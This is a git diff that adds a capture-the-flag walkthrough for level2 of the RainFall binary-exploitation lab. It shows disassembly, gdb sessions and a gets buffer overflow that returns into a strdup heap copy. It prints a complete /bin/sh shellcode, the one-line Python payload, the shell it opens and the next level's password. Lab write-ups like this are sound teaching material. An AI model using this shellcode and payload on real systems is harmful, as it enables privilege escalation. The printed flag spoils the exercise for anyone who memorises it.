diff --git a/level2/Ressources/walkthrough.md b/level2/Ressources/walkthrough.md new file mode 100644 index 0000000..5814cdc --- /dev/null +++ b/level2/Ressources/walkthrough.md @@ -0,0 +1,178 @@ +Code has 1 function that's interesting : p. + +``` +0x080484d4 : push ebp +0x080484d5 : mov ebp,esp +0x080484d7 : sub esp,0x68 +0x080484da : mov eax,ds:0x8049860 +0x080484df : mov DWORD PTR [esp],eax +0x080484e2 : call 0x80483b0 +0x080484e7 : lea eax,[ebp-0x4c] +0x080484ea : mov DWORD PTR [esp],eax +0x080484ed : call 0x80483c0 +0x080484f2 : mov eax,DWORD PTR [ebp+0x4] +0x080484f5 : mov DWORD PTR [ebp-0xc],eax +0x080484f8 : mov eax,DWORD PTR [ebp-0xc] +0x080484fb : and eax,0xb0000000 +0x08048500 : cmp eax,0xb0000000 +0x08048505 : jne 0x8048527 +0x08048507 : mov eax,0x8048620 +0x0804850c : mov edx,DWORD PTR [ebp-0xc] +0x0804850f : mov DWORD PTR [esp+0x4],edx +0x08048513 : mov DWORD PTR [esp],eax +0x08048516 : call 0x80483a0 +0x0804851b : mov DWORD PTR [esp],0x1 +0x08048522 : call 0x80483d0 <_exit@plt> +0x08048527 : lea eax,[ebp-0x4c] +0x0804852a : mov DWORD PTR [esp],eax +0x0804852d : call 0x80483f0 +0x08048532 : lea eax,[ebp-0x4c] +0x08048535 : mov DWORD PTR [esp],eax +0x08048538 : call 0x80483e0 +0x0804853d : leave +0x0804853e : ret +``` + +*Fig 1. Disassembly of p function* + +We notice there's a get to exploit, however, we have no idea where we could +return as there is no shell opened anywhere in the program. +We have to use a shellcode for this, which is a asm code that opens a shell. +We are going to put in in our input string, and jump onto the start of it. + +First step is to find the return address' of p in the stack. + +``` +(gdb) b *p+0 +Breakpoint 2 at 0x80484d4 +(gdb) run +Starting program: /home/user/level2/level2 + +Breakpoint 2, 0x080484d4 in p () +(gdb) p $esp +$1 = (void *) 0xbffff72c +``` + +Then we'll need to figure out the size of our gets stack, we can count + +``` +0x080484d4 : push ebp // esp -= 4 +0x080484d5 : mov ebp,esp // ebp = esp +0x080484d7 : sub esp,0x68 // allocate 104 bytes +0x080484da : mov eax,ds:0x8049860 +0x080484df : mov DWORD PTR [esp],eax +0x080484e2 : call 0x80483b0 +0x080484e7 : lea eax,[ebp-0x4c] // read to top 76 bytes +0x080484ea : mov DWORD PTR [esp],eax +0x080484ed : call 0x80483c0 +``` + +So we have 76 bytes for the correct usage of the function, then 4 bytes that +should contain the old value of ebp, then we should be at our ret address. + +So we will put our shell code, then some 'A's until 80 characters, then the +address of our shell code which should be the ret address + 8. + +Let's try :) + +Shellcode is 46 bytes long, so we need 34 'A' + +Here is the shellcode taken from the internet : +\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68 + + +``` +level2@RainFall:~$ (python -c "print('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*34+'\x24\xf7\xff\xbf')"; cat) | ./level2 +(0xbffff724) +whoami +``` + +It print's our return address and then exits to cat but no shell was opened. + +This is because we entered this branch + +``` +0x080484f2 : mov eax,DWORD PTR [ebp+0x4] // eax = ebp[4] +^ This line puts the return address's value of p function into eax register +0x080484f5 : mov DWORD PTR [ebp-0xc],eax // ebp[-12] = eax +0x080484f8 : mov eax,DWORD PTR [ebp-0xc] // eax = ebp[-12] +0x080484fb : and eax,0xb0000000 +0x08048500 : cmp eax,0xb0000000 +0x08048505 : jne 0x8048527 +0x08048507 : mov eax,0x8048620 +0x0804850c : mov edx,DWORD PTR [ebp-0xc] +0x0804850f : mov DWORD PTR [esp+0x4],edx +0x08048513 : mov DWORD PTR [esp],eax +0x08048516 : call 0x80483a0 +0x0804851b : mov DWORD PTR [esp],0x1 +0x08048522 : call 0x80483d0 <_exit@plt> +``` + +So we cannot ever return on our string. At the end of the function tho, strdup +is called on our string + +``` + 25 0x08048527 : lea eax,[ebp-0x4c] + 26 0x0804852a : mov DWORD PTR [esp],eax + 27 0x0804852d : call 0x80483f0 + 28 0x08048532 : lea eax,[ebp-0x4c] // same as gets argument + 29 0x08048535 : mov DWORD PTR [esp],eax + 30 0x08048538 : call 0x80483e0 + 31 0x0804853d : leave +``` + +So we can check the return address of strdup. + +``` +(gdb) b *p+105 +Breakpoint 1 at 0x804853d +(gdb) run < shellcode_bf +Starting program: /home/user/level2/level2 < shellcode_bf +(0xbffff724) +[Inferior 1 (process 5098) exited with code 01] +(gdb) run < exploit3.txt +Starting program: /home/user/level2/level2 < exploit3.txt +�����������������1��F1�1�̀�[1��C��C + � + ��S + �����/bin/sh�������������� + +Breakpoint 1, 0x0804853d in p () +(gdb) i r +eax 0x804a008 134520840 +ecx 0x0 0 +edx 0xbffff6dc -1073744164 +ebx 0xb7fd0ff4 -1208152076 +esp 0xbffff6c0 0xbffff6c0 +ebp 0xbffff728 0xbffff728 +esi 0x0 0 +edi 0x0 0 +eip 0x804853d 0x804853d +eflags 0x200282 [ SF IF ID ] +cs 0x73 115 +ss 0x7b 123 +ds 0x7b 123 +es 0x7b 123 +fs 0x0 0 +gs 0x33 51 +(gdb) +``` + +We see eax is 0x804a008, let's replace our command with this address. + +```(python -c "print('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*34+'\x08\xa0\x04\x08')"; cat) | ./level2``` + +``` +level2@RainFall:~$ (python -c "print('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*34+'\x08\xa0\x04\x08')"; cat) | ./level2 +1��F1�1�̀�[1��C��C + � + ��S + �����/bin/shAAAAAAAAAAAAAAAAAAAAAAAAAAAA� +whoami +level3 +cat /home/user/level3/.pass +492deb0e7d14c4b5695173cca843c4384fe52d0857c2b0718e1a521a4d33ec02 + +``` + +:)